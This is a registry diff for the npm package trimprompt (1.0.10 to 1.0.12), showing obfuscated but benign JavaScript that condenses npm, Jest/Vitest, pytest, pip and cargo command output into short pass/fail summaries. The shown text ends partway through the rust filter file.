trimprompt 1.0.10 → 1.0.12

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/filters/js.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x410cab=a0_0x299a;function a0_0x17aa(){const _0x22ce6b=['found\x20','startsWith','replace','removed\x20','4806940HqfBrS','includes','230124TgmiAD','filterNpmInstall','split','added\x20','match','all','Test\x20Runner:\x20','940314TaXAsf','\x20passed','trim','\x0aFailures:','push','defineProperty','3377547nSjNNq','PASS','5005695cbqLPW','up\x20to\x20date','filterJestVitest','join','158575AqlDmj','24604192ijVELQ','\x20passed,\x20','\x20\x20...\x20(','__esModule','length','FAIL\x20\x20','7MuJakC','\x20failed\x20(','Tests:'];a0_0x17aa=function(){return _0x22ce6b;};return a0_0x17aa();}function a0_0x299a(_0x57c073,_0x1a0448){_0x57c073=_0x57c073-0x137;const _0x17aaee=a0_0x17aa();let _0x299a2e=_0x17aaee[_0x57c073];return _0x299a2e;}(function(_0x3d881e,_0x5226b7){const _0x5e372a=a0_0x299a,_0xe1550b=_0x3d881e();while(!![]){try{const _0x42b8a5=parseInt(_0x5e372a(0x149))/0x1+parseInt(_0x5e372a(0x159))/0x2+parseInt(_0x5e372a(0x143))/0x3+parseInt(_0x5e372a(0x157))/0x4+parseInt(_0x5e372a(0x145))/0x5+-parseInt(_0x5e372a(0x13d))/0x6*(-parseInt(_0x5e372a(0x150))/0x7)+-parseInt(_0x5e372a(0x14a))/0x8;if(_0x42b8a5===_0x5226b7)break;else _0xe1550b['push'](_0xe1550b['shift']());}catch(_0x3c182e){_0xe1550b['push'](_0xe1550b['shift']());}}}(a0_0x17aa,0xa6e23));Object[a0_0x410cab(0x142)](exports,a0_0x410cab(0x14d),{'value':!![]}),exports[a0_0x410cab(0x137)]=filterNpmInstall,exports[a0_0x410cab(0x147)]=filterJestVitest;function filterNpmInstall(_0xc431ed){const _0x5a2abd=a0_0x410cab,_0x4e34e7=_0xc431ed[_0x5a2abd(0x155)](/\r/g,'\x0a'),_0x27a6ff=_0x4e34e7['split']('\x0a'),_0x30a13e=[];for(const _0x25505f of _0x27a6ff){const _0x4bd99c=_0x25505f[_0x5a2abd(0x13f)]();(_0x4bd99c[_0x5a2abd(0x158)](_0x5a2abd(0x139))||_0x4bd99c[_0x5a2abd(0x158)](_0x5a2abd(0x156))||_0x4bd99c[_0x5a2abd(0x158)]('audited\x20')||_0x4bd99c['includes'](_0x5a2abd(0x146))||_0x4bd99c[_0x5a2abd(0x158)](_0x5a2abd(0x153)))&&(!_0x4bd99c[_0x5a2abd(0x158)]('%')&&!_0x4bd99c[_0x5a2abd(0x154)]('⠋')&&!_0x4bd99c[_0x5a2abd(0x154)]('⠙')&&_0x30a13e['push'](_0x4bd99c));}const _0xbca0c7=_0x30a13e[_0x5a2abd(0x148)]('\x0a')[_0x5a2abd(0x13f)]();return _0xbca0c7[_0x5a2abd(0x14e)]>0x0?_0xbca0c7:'NPM:\x20Packages\x20verified/installed\x20successfully';}function filterJestVitest(_0x1aa070){const _0x2bd6c1=a0_0x410cab,_0x1a04cf=_0x1aa070[_0x2bd6c1(0x138)]('\x0a');let _0x382c69=0x0,_0x2645f2=0x0,_0x12e164=0x0;const _0x13a14f=[];let _0x577098=![];for(const _0x722f3e of _0x1a04cf){const _0x37edd2=_0x722f3e[_0x2bd6c1(0x13f)]();if(_0x37edd2['startsWith'](_0x2bd6c1(0x152))||_0x37edd2['includes']('Test\x20Files:')){const _0x26c1aa=_0x37edd2['match'](/(\d+)\s+passed/),_0x2bacff=_0x37edd2[_0x2bd6c1(0x13a)](/(\d+)\s+failed/),_0x5f04ef=_0x37edd2[_0x2bd6c1(0x13a)](/(\d+)\s+total/);if(_0x26c1aa)_0x382c69=parseInt(_0x26c1aa[0x1]);if(_0x2bacff)_0x2645f2=parseInt(_0x2bacff[0x1]);if(_0x5f04ef)_0x12e164=parseInt(_0x5f04ef[0x1]);continue;}(_0x37edd2[_0x2bd6c1(0x154)]('❯')||_0x37edd2[_0x2bd6c1(0x154)]('●')||_0x37edd2[_0x2bd6c1(0x154)](_0x2bd6c1(0x14f)))&&(_0x577098=!![]),_0x577098&&(_0x37edd2[_0x2bd6c1(0x14e)]>0x0&&!_0x37edd2[_0x2bd6c1(0x154)]('Test\x20Suites:')&&!_0x37edd2[_0x2bd6c1(0x154)](_0x2bd6c1(0x152))&&_0x13a14f[_0x2bd6c1(0x141)](_0x722f3e));}if(_0x12e164===0x0&&_0x382c69===0x0&&_0x2645f2===0x0){if(_0x1aa070['includes'](_0x2bd6c1(0x144))&&!_0x1aa070[_0x2bd6c1(0x158)]('FAIL')){const _0x2b242d=_0x1aa070[_0x2bd6c1(0x13a)](/(\d+)\s+passed/),_0x1e1190=_0x2b242d?_0x2b242d[0x1]:_0x2bd6c1(0x13b);return _0x2bd6c1(0x13c)+_0x1e1190+_0x2bd6c1(0x13e);}return _0x1aa070;}if(_0x2645f2===0x0&&_0x382c69>0x0)return'Test\x20Runner:\x20'+_0x382c69+_0x2bd6c1(0x13e);const _0x4b6c63=[_0x2bd6c1(0x13c)+_0x382c69+_0x2bd6c1(0x14b)+_0x2645f2+_0x2bd6c1(0x151)+_0x12e164+'\x20total)'];if(_0x13a14f[_0x2bd6c1(0x14e)]>0x0){_0x4b6c63[_0x2bd6c1(0x141)](_0x2bd6c1(0x140));const _0x15558e=0x19,_0x44a161=_0x13a14f['slice'](0x0,_0x15558e);for(const _0x1a40e8 of _0x44a161){_0x4b6c63[_0x2bd6c1(0x141)]('\x20\x20'+_0x1a40e8);}_0x13a14f[_0x2bd6c1(0x14e)]>_0x15558e&&_0x4b6c63[_0x2bd6c1(0x141)](_0x2bd6c1(0x14c)+(_0x13a14f[_0x2bd6c1(0x14e)]-_0x15558e)+'\x20lines\x20of\x20trace\x20details\x20truncated)');}return _0x4b6c63['join']('\x0a');}
1
+ 'use strict';const a0_0x8eb7b5=a0_0x252e;(function(_0x6d2344,_0x21d35a){const _0x5b47e9=a0_0x252e,_0x472cec=_0x6d2344();while(!![]){try{const _0x4dbe70=-parseInt(_0x5b47e9(0x185))/0x1*(parseInt(_0x5b47e9(0x186))/0x2)+parseInt(_0x5b47e9(0x189))/0x3+parseInt(_0x5b47e9(0x16c))/0x4+-parseInt(_0x5b47e9(0x16f))/0x5+parseInt(_0x5b47e9(0x17c))/0x6+-parseInt(_0x5b47e9(0x187))/0x7*(-parseInt(_0x5b47e9(0x16a))/0x8)+-parseInt(_0x5b47e9(0x171))/0x9*(-parseInt(_0x5b47e9(0x17b))/0xa);if(_0x4dbe70===_0x21d35a)break;else _0x472cec['push'](_0x472cec['shift']());}catch(_0x57ae6e){_0x472cec['push'](_0x472cec['shift']());}}}(a0_0x523b,0x63f64));Object[a0_0x8eb7b5(0x181)](exports,'__esModule',{'value':!![]}),exports[a0_0x8eb7b5(0x179)]=filterNpmInstall,exports[a0_0x8eb7b5(0x184)]=filterJestVitest;function a0_0x523b(){const _0x2c0437=['length','split','\x20passed','filterNpmInstall','replace','648870kgaAhY','2746764SNbKIk','Test\x20Suites:','FAIL','Test\x20Runner:\x20','startsWith','defineProperty','includes','NPM:\x20Packages\x20verified/installed\x20successfully','filterJestVitest','813861jbKQyl','2wQMNiT','7PrYHAw','push','938406sOYGGq','join','Tests:','trim','added\x20','match','\x20\x20...\x20(','1503928zxfJBf','\x20passed,\x20','905788kvhrBb','found\x20','\x20failed\x20(','457515awxAHg','PASS','18IUzUEE','Test\x20Files:','up\x20to\x20date','\x0aFailures:','\x20lines\x20of\x20trace\x20details\x20truncated)'];a0_0x523b=function(){return _0x2c0437;};return a0_0x523b();}function filterNpmInstall(_0xac60bd){const _0x2eca9e=a0_0x8eb7b5,_0xe60330=_0xac60bd[_0x2eca9e(0x17a)](/\r/g,'\x0a'),_0x549def=_0xe60330['split']('\x0a'),_0x4c5f2e=[];for(const _0x3ffcd6 of _0x549def){const _0x129a4b=_0x3ffcd6[_0x2eca9e(0x18c)]();(_0x129a4b[_0x2eca9e(0x182)](_0x2eca9e(0x18d))||_0x129a4b[_0x2eca9e(0x182)]('removed\x20')||_0x129a4b[_0x2eca9e(0x182)]('audited\x20')||_0x129a4b[_0x2eca9e(0x182)](_0x2eca9e(0x173))||_0x129a4b[_0x2eca9e(0x182)](_0x2eca9e(0x16d)))&&(!_0x129a4b[_0x2eca9e(0x182)]('%')&&!_0x129a4b[_0x2eca9e(0x180)]('⠋')&&!_0x129a4b[_0x2eca9e(0x180)]('⠙')&&_0x4c5f2e[_0x2eca9e(0x188)](_0x129a4b));}const _0x252249=_0x4c5f2e[_0x2eca9e(0x18a)]('\x0a')[_0x2eca9e(0x18c)]();return _0x252249[_0x2eca9e(0x176)]>0x0?_0x252249:_0x2eca9e(0x183);}function a0_0x252e(_0x242d28,_0x2c83db){_0x242d28=_0x242d28-0x168;const _0x523b1d=a0_0x523b();let _0x252e5b=_0x523b1d[_0x242d28];return _0x252e5b;}function filterJestVitest(_0x514183){const _0x4d72e6=a0_0x8eb7b5,_0x1ba42c=_0x514183[_0x4d72e6(0x177)]('\x0a');let _0x42bfdc=0x0,_0x3339d7=0x0,_0x1c75ce=0x0;const _0x312ff5=[];let _0x239fea=![];for(const _0x3c1a8a of _0x1ba42c){const _0x3f1a0e=_0x3c1a8a[_0x4d72e6(0x18c)]();if(_0x3f1a0e[_0x4d72e6(0x180)](_0x4d72e6(0x18b))||_0x3f1a0e[_0x4d72e6(0x182)](_0x4d72e6(0x172))){const _0x3a297d=_0x3f1a0e[_0x4d72e6(0x168)](/(\d+)\s+passed/),_0x56b11c=_0x3f1a0e[_0x4d72e6(0x168)](/(\d+)\s+failed/),_0x3fd63c=_0x3f1a0e[_0x4d72e6(0x168)](/(\d+)\s+total/);if(_0x3a297d)_0x42bfdc=parseInt(_0x3a297d[0x1]);if(_0x56b11c)_0x3339d7=parseInt(_0x56b11c[0x1]);if(_0x3fd63c)_0x1c75ce=parseInt(_0x3fd63c[0x1]);continue;}(_0x3f1a0e['startsWith']('❯')||_0x3f1a0e['startsWith']('●')||_0x3f1a0e[_0x4d72e6(0x180)]('FAIL\x20\x20'))&&(_0x239fea=!![]),_0x239fea&&(_0x3f1a0e[_0x4d72e6(0x176)]>0x0&&!_0x3f1a0e[_0x4d72e6(0x180)](_0x4d72e6(0x17d))&&!_0x3f1a0e[_0x4d72e6(0x180)](_0x4d72e6(0x18b))&&_0x312ff5[_0x4d72e6(0x188)](_0x3c1a8a));}if(_0x1c75ce===0x0&&_0x42bfdc===0x0&&_0x3339d7===0x0){if(_0x514183['includes'](_0x4d72e6(0x170))&&!_0x514183[_0x4d72e6(0x182)](_0x4d72e6(0x17e))){const _0x457120=_0x514183[_0x4d72e6(0x168)](/(\d+)\s+passed/),_0x4165b4=_0x457120?_0x457120[0x1]:'all';return _0x4d72e6(0x17f)+_0x4165b4+'\x20passed';}return _0x514183;}if(_0x3339d7===0x0&&_0x42bfdc>0x0)return'Test\x20Runner:\x20'+_0x42bfdc+_0x4d72e6(0x178);const _0x31f197=[_0x4d72e6(0x17f)+_0x42bfdc+_0x4d72e6(0x16b)+_0x3339d7+_0x4d72e6(0x16e)+_0x1c75ce+'\x20total)'];if(_0x312ff5[_0x4d72e6(0x176)]>0x0){_0x31f197[_0x4d72e6(0x188)](_0x4d72e6(0x174));const _0x1698c8=0x19,_0x42044e=_0x312ff5['slice'](0x0,_0x1698c8);for(const _0x33cb44 of _0x42044e){_0x31f197[_0x4d72e6(0x188)]('\x20\x20'+_0x33cb44);}_0x312ff5[_0x4d72e6(0x176)]>_0x1698c8&&_0x31f197[_0x4d72e6(0x188)](_0x4d72e6(0x169)+(_0x312ff5[_0x4d72e6(0x176)]-_0x1698c8)+_0x4d72e6(0x175));}return _0x31f197[_0x4d72e6(0x18a)]('\x0a');}
package/filters/python.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x158e64=a0_0x286f;function a0_0x286f(_0x4e07ca,_0x4c893a){_0x4e07ca=_0x4e07ca-0x13a;const _0x5423fa=a0_0x5423();let _0x286f6d=_0x5423fa[_0x4e07ca];return _0x286f6d;}(function(_0x2482fd,_0x5cb033){const _0x5973e7=a0_0x286f,_0x162917=_0x2482fd();while(!![]){try{const _0x22192d=-parseInt(_0x5973e7(0x147))/0x1*(parseInt(_0x5973e7(0x161))/0x2)+-parseInt(_0x5973e7(0x14f))/0x3+-parseInt(_0x5973e7(0x154))/0x4*(-parseInt(_0x5973e7(0x13a))/0x5)+-parseInt(_0x5973e7(0x141))/0x6*(-parseInt(_0x5973e7(0x165))/0x7)+parseInt(_0x5973e7(0x13e))/0x8*(-parseInt(_0x5973e7(0x13d))/0x9)+-parseInt(_0x5973e7(0x149))/0xa+parseInt(_0x5973e7(0x156))/0xb;if(_0x22192d===_0x5cb033)break;else _0x162917['push'](_0x162917['shift']());}catch(_0x155dd3){_0x162917['push'](_0x162917['shift']());}}}(a0_0x5423,0x4935e));Object['defineProperty'](exports,a0_0x158e64(0x143),{'value':!![]}),exports['filterPytest']=filterPytest,exports[a0_0x158e64(0x14a)]=filterPipInstall;function a0_0x5423(){const _0x35a815=['===\x20short\x20test\x20summary\x20info\x20===','\x20more\x20failures\x20truncated','slice','.\x20[FAIL]\x20','E\x20\x20\x20','replace','\x0aFailures:','\x20xfailed','Downloading','Collecting','412798eSXZJv','Using\x20cached','includes','\x20lines\x20of\x20stacktrace\x20truncated)','80437mDBZRq','filter','===','234755dcMTVz','startsWith','match','18IBsfUY','218704Snviyx','failed','\x20xpassed\x20(warning!)','108CahnUt','Pytest:\x20All\x20tests\x20passed','__esModule','trim','Pytest:\x20','___','1AbRzrT','Successfully\x20installed','4651360oofjiU','filterPipInstall','===\x20ERRORS\x20===','push','join','length','1714662SzUZIu','passed','.py:','\x20\x20\x20\x20','\x20passed','12gdfZtO','\x20\x20...\x20+','13749384lxsIUx'];a0_0x5423=function(){return _0x35a815;};return a0_0x5423();}function filterPytest(_0x53bd89){const _0x24e190=a0_0x158e64,_0x54f048=_0x53bd89['split']('\x0a');let _0x5c51f7=0x0,_0x5267ab=0x0,_0x389d07=0x0,_0x589040=0x0,_0x2e9766=0x0;const _0x29a492=[];let _0x2fb450=[],_0x25c1e9=![];for(const _0x147586 of _0x54f048){const _0x53c05a=_0x147586[_0x24e190(0x144)]();if(_0x53c05a[_0x24e190(0x13b)]('===\x20FAILURES\x20===')||_0x53c05a['startsWith'](_0x24e190(0x14b))){_0x25c1e9=!![];continue;}else(_0x53c05a[_0x24e190(0x13b)](_0x24e190(0x157))||_0x53c05a[_0x24e190(0x13b)](_0x24e190(0x167))&&_0x53c05a[_0x24e190(0x163)](_0x24e190(0x150)))&&(_0x25c1e9=![],_0x2fb450[_0x24e190(0x14e)]>0x0&&(_0x29a492[_0x24e190(0x14c)](_0x2fb450),_0x2fb450=[]));if(_0x25c1e9){if(_0x53c05a['startsWith'](_0x24e190(0x146)))_0x2fb450['length']>0x0&&(_0x29a492[_0x24e190(0x14c)](_0x2fb450),_0x2fb450=[]),_0x2fb450['push'](_0x53c05a);else _0x53c05a[_0x24e190(0x14e)]>0x0&&_0x2fb450['push'](_0x147586);continue;}if(_0x53c05a['startsWith'](_0x24e190(0x167))&&_0x53c05a[_0x24e190(0x163)]('\x20in\x20')){const _0x460e3f=_0x53c05a[_0x24e190(0x13c)](/(\d+)\s+passed/),_0x587f5d=_0x53c05a[_0x24e190(0x13c)](/(\d+)\s+failed/),_0x5c1ac3=_0x53c05a[_0x24e190(0x13c)](/(\d+)\s+skipped/),_0x49245c=_0x53c05a[_0x24e190(0x13c)](/(\d+)\s+xfailed/),_0x5285cb=_0x53c05a[_0x24e190(0x13c)](/(\d+)\s+xpassed/);if(_0x460e3f)_0x5c51f7=parseInt(_0x460e3f[0x1]);if(_0x587f5d)_0x5267ab=parseInt(_0x587f5d[0x1]);if(_0x5c1ac3)_0x389d07=parseInt(_0x5c1ac3[0x1]);if(_0x49245c)_0x589040=parseInt(_0x49245c[0x1]);if(_0x5285cb)_0x2e9766=parseInt(_0x5285cb[0x1]);}}_0x2fb450[_0x24e190(0x14e)]>0x0&&_0x29a492['push'](_0x2fb450);if(_0x5c51f7===0x0&&_0x5267ab===0x0&&_0x389d07===0x0&&_0x589040===0x0&&_0x2e9766===0x0){if(_0x53bd89[_0x24e190(0x163)](_0x24e190(0x150))&&!_0x53bd89[_0x24e190(0x163)](_0x24e190(0x13f)))return _0x24e190(0x142);return _0x53bd89;}if(_0x5267ab===0x0&&_0x5c51f7>0x0&&_0x389d07===0x0&&_0x589040===0x0&&_0x2e9766===0x0)return'Pytest:\x20'+_0x5c51f7+_0x24e190(0x153);const _0x4f755f=[];_0x4f755f['push'](_0x24e190(0x145)+_0x5c51f7+_0x24e190(0x153));if(_0x5267ab>0x0)_0x4f755f[_0x24e190(0x14c)](_0x5267ab+'\x20failed');if(_0x389d07>0x0)_0x4f755f['push'](_0x389d07+'\x20skipped');if(_0x589040>0x0)_0x4f755f[_0x24e190(0x14c)](_0x589040+_0x24e190(0x15e));if(_0x2e9766>0x0)_0x4f755f[_0x24e190(0x14c)](_0x2e9766+_0x24e190(0x140));const _0x2218ba=[_0x4f755f[_0x24e190(0x14d)](',\x20')];if(_0x29a492[_0x24e190(0x14e)]>0x0){_0x2218ba['push'](_0x24e190(0x15d));const _0x53f017=0x3,_0x2e7834=_0x29a492['slice'](0x0,_0x53f017);for(let _0x266214=0x0;_0x266214<_0x2e7834[_0x24e190(0x14e)];_0x266214++){const _0x566856=_0x2e7834[_0x266214],_0x5d3db8=_0x566856[0x0][_0x24e190(0x15c)](/_/g,'')['trim']();_0x2218ba[_0x24e190(0x14c)]('\x20\x20'+(_0x266214+0x1)+_0x24e190(0x15a)+_0x5d3db8);const _0x37db17=_0x566856[_0x24e190(0x159)](0x1),_0x2cce6c=_0x37db17[_0x24e190(0x166)](_0x505444=>{const _0x1615fe=_0x24e190,_0x2537af=_0x505444[_0x1615fe(0x144)]();return _0x2537af[_0x1615fe(0x13b)]('>')||_0x2537af[_0x1615fe(0x13b)](_0x1615fe(0x15b))||_0x2537af[_0x1615fe(0x163)](_0x1615fe(0x151))||_0x2537af[_0x1615fe(0x163)]('AssertionError:');});for(const _0x193efa of _0x2cce6c['slice'](0x0,0x8)){_0x2218ba['push'](_0x24e190(0x152)+_0x193efa);}_0x2cce6c['length']>0x8&&_0x2218ba[_0x24e190(0x14c)]('\x20\x20\x20\x20...\x20('+(_0x2cce6c[_0x24e190(0x14e)]-0x8)+_0x24e190(0x164));}_0x29a492[_0x24e190(0x14e)]>_0x53f017&&_0x2218ba[_0x24e190(0x14c)](_0x24e190(0x155)+(_0x29a492['length']-_0x53f017)+_0x24e190(0x158));}return _0x2218ba[_0x24e190(0x14d)]('\x0a');}function filterPipInstall(_0x2cfa09){const _0x5b352e=a0_0x158e64,_0x7463fc=_0x2cfa09['split']('\x0a'),_0x3452ef=[];for(const _0x25660e of _0x7463fc){const _0x1b440d=_0x25660e[_0x5b352e(0x144)]();_0x1b440d[_0x5b352e(0x13b)](_0x5b352e(0x148))&&_0x3452ef['push'](_0x1b440d);}if(_0x3452ef[_0x5b352e(0x14e)]>0x0)return _0x3452ef[_0x5b352e(0x14d)]('\x0a');return _0x7463fc[_0x5b352e(0x166)](_0x48e3a8=>{const _0x3af741=_0x5b352e,_0x25e9e7=_0x48e3a8[_0x3af741(0x144)]();return!_0x25e9e7['startsWith'](_0x3af741(0x160))&&!_0x25e9e7[_0x3af741(0x13b)](_0x3af741(0x15f))&&!_0x25e9e7[_0x3af741(0x163)](_0x3af741(0x162))&&!_0x25e9e7[_0x3af741(0x13b)]('Requirement\x20already\x20satisfied');})[_0x5b352e(0x14d)]('\x0a')['trim']();}
1
+ 'use strict';const a0_0xd11546=a0_0x5175;function a0_0x4af2(){const _0x20e967=['1630PEdbOY','===\x20FAILURES\x20===','startsWith','match','8jBetjE','___','E\x20\x20\x20','\x20\x20...\x20+','passed','filterPytest','failed','Collecting','split','.\x20[FAIL]\x20','\x20in\x20','filterPipInstall','defineProperty','replace','\x20failed','\x20passed','\x20xpassed\x20(warning!)','===\x20short\x20test\x20summary\x20info\x20===','\x20\x20\x20\x20','slice','\x20skipped','706530YFOQZX','Using\x20cached','===\x20ERRORS\x20===','1283933CtzgDh','.py:','106230pCQmuV','join','118140kBOgkM','55113uqKiTk','filter','includes','7602642selHIv','push','AssertionError:','trim','\x20xfailed','292HwLhiG','\x0aFailures:','Pytest:\x20','length','\x20\x20\x20\x20...\x20('];a0_0x4af2=function(){return _0x20e967;};return a0_0x4af2();}(function(_0xe0dfa2,_0x267c68){const _0x427bea=a0_0x5175,_0x283aae=_0xe0dfa2();while(!![]){try{const _0x43a156=-parseInt(_0x427bea(0x203))/0x1+-parseInt(_0x427bea(0x1fe))/0x2+-parseInt(_0x427bea(0x206))/0x3+parseInt(_0x427bea(0x1e0))/0x4*(-parseInt(_0x427bea(0x1e5))/0x5)+parseInt(_0x427bea(0x205))/0x6+-parseInt(_0x427bea(0x201))/0x7*(parseInt(_0x427bea(0x1e9))/0x8)+parseInt(_0x427bea(0x1db))/0x9;if(_0x43a156===_0x267c68)break;else _0x283aae['push'](_0x283aae['shift']());}catch(_0x795818){_0x283aae['push'](_0x283aae['shift']());}}}(a0_0x4af2,0x2bc91));Object[a0_0xd11546(0x1f5)](exports,'__esModule',{'value':!![]}),exports[a0_0xd11546(0x1ee)]=filterPytest,exports[a0_0xd11546(0x1f4)]=filterPipInstall;function filterPytest(_0x48987e){const _0x3454cd=a0_0xd11546,_0x30a3e2=_0x48987e['split']('\x0a');let _0x11b83b=0x0,_0x3e4f56=0x0,_0xaaa19c=0x0,_0x27cc87=0x0,_0x2180a4=0x0;const _0x8120fa=[];let _0x423498=[],_0x4969b9=![];for(const _0x578087 of _0x30a3e2){const _0x483958=_0x578087[_0x3454cd(0x1de)]();if(_0x483958[_0x3454cd(0x1e7)](_0x3454cd(0x1e6))||_0x483958[_0x3454cd(0x1e7)](_0x3454cd(0x200))){_0x4969b9=!![];continue;}else(_0x483958[_0x3454cd(0x1e7)](_0x3454cd(0x1fa))||_0x483958[_0x3454cd(0x1e7)]('===')&&_0x483958[_0x3454cd(0x1da)](_0x3454cd(0x1ed)))&&(_0x4969b9=![],_0x423498['length']>0x0&&(_0x8120fa['push'](_0x423498),_0x423498=[]));if(_0x4969b9){if(_0x483958['startsWith'](_0x3454cd(0x1ea)))_0x423498[_0x3454cd(0x1e3)]>0x0&&(_0x8120fa[_0x3454cd(0x1dc)](_0x423498),_0x423498=[]),_0x423498[_0x3454cd(0x1dc)](_0x483958);else _0x483958[_0x3454cd(0x1e3)]>0x0&&_0x423498['push'](_0x578087);continue;}if(_0x483958[_0x3454cd(0x1e7)]('===')&&_0x483958[_0x3454cd(0x1da)](_0x3454cd(0x1f3))){const _0x2ee631=_0x483958[_0x3454cd(0x1e8)](/(\d+)\s+passed/),_0x24db37=_0x483958[_0x3454cd(0x1e8)](/(\d+)\s+failed/),_0x53ad7d=_0x483958[_0x3454cd(0x1e8)](/(\d+)\s+skipped/),_0x3b5592=_0x483958['match'](/(\d+)\s+xfailed/),_0x5d97f9=_0x483958['match'](/(\d+)\s+xpassed/);if(_0x2ee631)_0x11b83b=parseInt(_0x2ee631[0x1]);if(_0x24db37)_0x3e4f56=parseInt(_0x24db37[0x1]);if(_0x53ad7d)_0xaaa19c=parseInt(_0x53ad7d[0x1]);if(_0x3b5592)_0x27cc87=parseInt(_0x3b5592[0x1]);if(_0x5d97f9)_0x2180a4=parseInt(_0x5d97f9[0x1]);}}_0x423498['length']>0x0&&_0x8120fa[_0x3454cd(0x1dc)](_0x423498);if(_0x11b83b===0x0&&_0x3e4f56===0x0&&_0xaaa19c===0x0&&_0x27cc87===0x0&&_0x2180a4===0x0){if(_0x48987e[_0x3454cd(0x1da)](_0x3454cd(0x1ed))&&!_0x48987e['includes'](_0x3454cd(0x1ef)))return'Pytest:\x20All\x20tests\x20passed';return _0x48987e;}if(_0x3e4f56===0x0&&_0x11b83b>0x0&&_0xaaa19c===0x0&&_0x27cc87===0x0&&_0x2180a4===0x0)return _0x3454cd(0x1e2)+_0x11b83b+_0x3454cd(0x1f8);const _0x25f7b7=[];_0x25f7b7[_0x3454cd(0x1dc)](_0x3454cd(0x1e2)+_0x11b83b+_0x3454cd(0x1f8));if(_0x3e4f56>0x0)_0x25f7b7['push'](_0x3e4f56+_0x3454cd(0x1f7));if(_0xaaa19c>0x0)_0x25f7b7[_0x3454cd(0x1dc)](_0xaaa19c+_0x3454cd(0x1fd));if(_0x27cc87>0x0)_0x25f7b7['push'](_0x27cc87+_0x3454cd(0x1df));if(_0x2180a4>0x0)_0x25f7b7[_0x3454cd(0x1dc)](_0x2180a4+_0x3454cd(0x1f9));const _0x334791=[_0x25f7b7['join'](',\x20')];if(_0x8120fa[_0x3454cd(0x1e3)]>0x0){_0x334791[_0x3454cd(0x1dc)](_0x3454cd(0x1e1));const _0xbd7d2c=0x3,_0xb840fd=_0x8120fa['slice'](0x0,_0xbd7d2c);for(let _0x59e502=0x0;_0x59e502<_0xb840fd[_0x3454cd(0x1e3)];_0x59e502++){const _0x3cf9fc=_0xb840fd[_0x59e502],_0x1f5525=_0x3cf9fc[0x0][_0x3454cd(0x1f6)](/_/g,'')['trim']();_0x334791[_0x3454cd(0x1dc)]('\x20\x20'+(_0x59e502+0x1)+_0x3454cd(0x1f2)+_0x1f5525);const _0x2ab531=_0x3cf9fc[_0x3454cd(0x1fc)](0x1),_0xaee9c8=_0x2ab531[_0x3454cd(0x207)](_0x483d5f=>{const _0x980ed5=_0x3454cd,_0x5e3c22=_0x483d5f[_0x980ed5(0x1de)]();return _0x5e3c22[_0x980ed5(0x1e7)]('>')||_0x5e3c22[_0x980ed5(0x1e7)](_0x980ed5(0x1eb))||_0x5e3c22['includes'](_0x980ed5(0x202))||_0x5e3c22[_0x980ed5(0x1da)](_0x980ed5(0x1dd));});for(const _0xe11c63 of _0xaee9c8[_0x3454cd(0x1fc)](0x0,0x8)){_0x334791[_0x3454cd(0x1dc)](_0x3454cd(0x1fb)+_0xe11c63);}_0xaee9c8[_0x3454cd(0x1e3)]>0x8&&_0x334791[_0x3454cd(0x1dc)](_0x3454cd(0x1e4)+(_0xaee9c8[_0x3454cd(0x1e3)]-0x8)+'\x20lines\x20of\x20stacktrace\x20truncated)');}_0x8120fa['length']>_0xbd7d2c&&_0x334791[_0x3454cd(0x1dc)](_0x3454cd(0x1ec)+(_0x8120fa[_0x3454cd(0x1e3)]-_0xbd7d2c)+'\x20more\x20failures\x20truncated');}return _0x334791[_0x3454cd(0x204)]('\x0a');}function a0_0x5175(_0x3d17da,_0x4fe67c){_0x3d17da=_0x3d17da-0x1da;const _0x4af2a5=a0_0x4af2();let _0x517546=_0x4af2a5[_0x3d17da];return _0x517546;}function filterPipInstall(_0x3d7a0a){const _0x3cd830=a0_0xd11546,_0x9ec570=_0x3d7a0a[_0x3cd830(0x1f1)]('\x0a'),_0x37958a=[];for(const _0xbbf12a of _0x9ec570){const _0x25ff16=_0xbbf12a[_0x3cd830(0x1de)]();_0x25ff16[_0x3cd830(0x1e7)]('Successfully\x20installed')&&_0x37958a[_0x3cd830(0x1dc)](_0x25ff16);}if(_0x37958a[_0x3cd830(0x1e3)]>0x0)return _0x37958a['join']('\x0a');return _0x9ec570[_0x3cd830(0x207)](_0x4e6890=>{const _0x3577c4=_0x3cd830,_0x7151ed=_0x4e6890[_0x3577c4(0x1de)]();return!_0x7151ed['startsWith'](_0x3577c4(0x1f0))&&!_0x7151ed[_0x3577c4(0x1e7)]('Downloading')&&!_0x7151ed[_0x3577c4(0x1da)](_0x3577c4(0x1ff))&&!_0x7151ed[_0x3577c4(0x1e7)]('Requirement\x20already\x20satisfied');})[_0x3cd830(0x204)]('\x0a')['trim']();}
package/filters/rust.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x1d91(){const _0x453b56=['\x0aErrors:','221005AtLhiK','replace','failures:','thread','Cargo\x20test:\x20all\x20tests\x20passed','assert','startsWith','split','filterCargoTest','\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)','error[','\x0aFailures:','\x20warnings','left:','Cargo:\x20','54676wswieO','632856vdtSBW','\x20\x20...\x20+','511020SdrqEy','\x20more\x20errors','test\x20result:','match','----\x20','\x20ignored','\x20\x20\x20\x20','597942UZvgZn','length','44296DfQwbq','warning[','16aUgwkB','min','Cargo\x20test:\x20','\x20failed,\x20','----\x20failures\x20----','\x20errors,\x20','join','\x20passed','\x20crates,\x20','warning:','test\x20result:\x20ok','683106MsYlJw','push','\x20crates\x20successfully','trim','filter','Compiling\x20','Cargo:\x20compiled\x20','slice','filterCargoBuild','includes'];a0_0x1d91=function(){return _0x453b56;};return a0_0x1d91();}const a0_0x4b29a7=a0_0x526b;(function(_0x536265,_0x3fec23){const _0x5df35b=a0_0x526b,_0x3778a5=_0x536265();while(!![]){try{const _0x2c2b20=-parseInt(_0x5df35b(0x194))/0x1+-parseInt(_0x5df35b(0x17c))/0x2+parseInt(_0x5df35b(0x189))/0x3+-parseInt(_0x5df35b(0x1a3))/0x4+-parseInt(_0x5df35b(0x1a6))/0x5+parseInt(_0x5df35b(0x17a))/0x6+-parseInt(_0x5df35b(0x1a4))/0x7*(-parseInt(_0x5df35b(0x17e))/0x8);if(_0x2c2b20===_0x3fec23)break;else 